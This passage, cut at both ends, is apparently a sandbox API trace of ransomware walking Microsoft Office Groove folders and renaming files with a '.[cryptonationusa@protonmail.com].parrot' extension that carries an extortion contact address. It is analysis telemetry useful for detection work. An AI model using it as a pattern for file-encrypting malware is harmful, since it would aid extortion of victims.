hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.064] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0191.064] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0191.064] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94570a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0191.065] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.065] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.066] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.066] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xe9, lpOverlapped=0x0) returned 1 [0191.066] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.072] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.072] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.074] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.074] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcbd, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xcbd, lpOverlapped=0x0) returned 1 [0191.074] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.075] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\header.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.079] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.079] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.080] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.080] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1ce, lpOverlapped=0x0) returned 1 [0191.080] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_off.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.085] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.085] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.086] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.086] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x108, lpOverlapped=0x0) returned 1 [0191.086] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\tab_on.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.093] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0191.093] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdecbf00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdecbf00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.093] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94570a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528f6190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdea5da0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0191.093] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.093] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.095] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.095] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xce8, lpOverlapped=0x0) returned 1 [0191.095] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Sts2.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.100] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0191.100] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0191.100] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618c8a10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.100] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0191.100] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0191.100] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95883700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0191.101] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.101] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.102] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.102] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x32f, lpOverlapped=0x0) returned 1 [0191.103] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.108] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.108] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.109] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.109] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6993, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x6993, lpOverlapped=0x0) returned 1 [0191.111] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\header.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.115] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.115] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.118] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.118] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0191.118] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_off.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.123] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.123] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0191.124] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.124] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0191.124] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\tab_on.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.130] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0191.130] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5291c2f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfdf181c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfdf181c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.131] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95883700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfdef2060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0191.132] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.132] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.133] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.133] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc23, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xc23, lpOverlapped=0x0) returned 1 [0191.134] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.139] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.139] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.140] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.140] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37a, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x37a, lpOverlapped=0x0) returned 1 [0191.141] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.141] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.145] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.145] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.146] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.147] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x37b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x37b, lpOverlapped=0x0) returned 1 [0191.147] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0191.153] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0191.153] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0191.154] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.155] ReadFile (in: hFile=0x1fc, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x375, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x375, lpOverlapped=0x0) returned 1 [0191.155] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\VelvetRose.css" (normalized: "c:\\program files\\microsoft 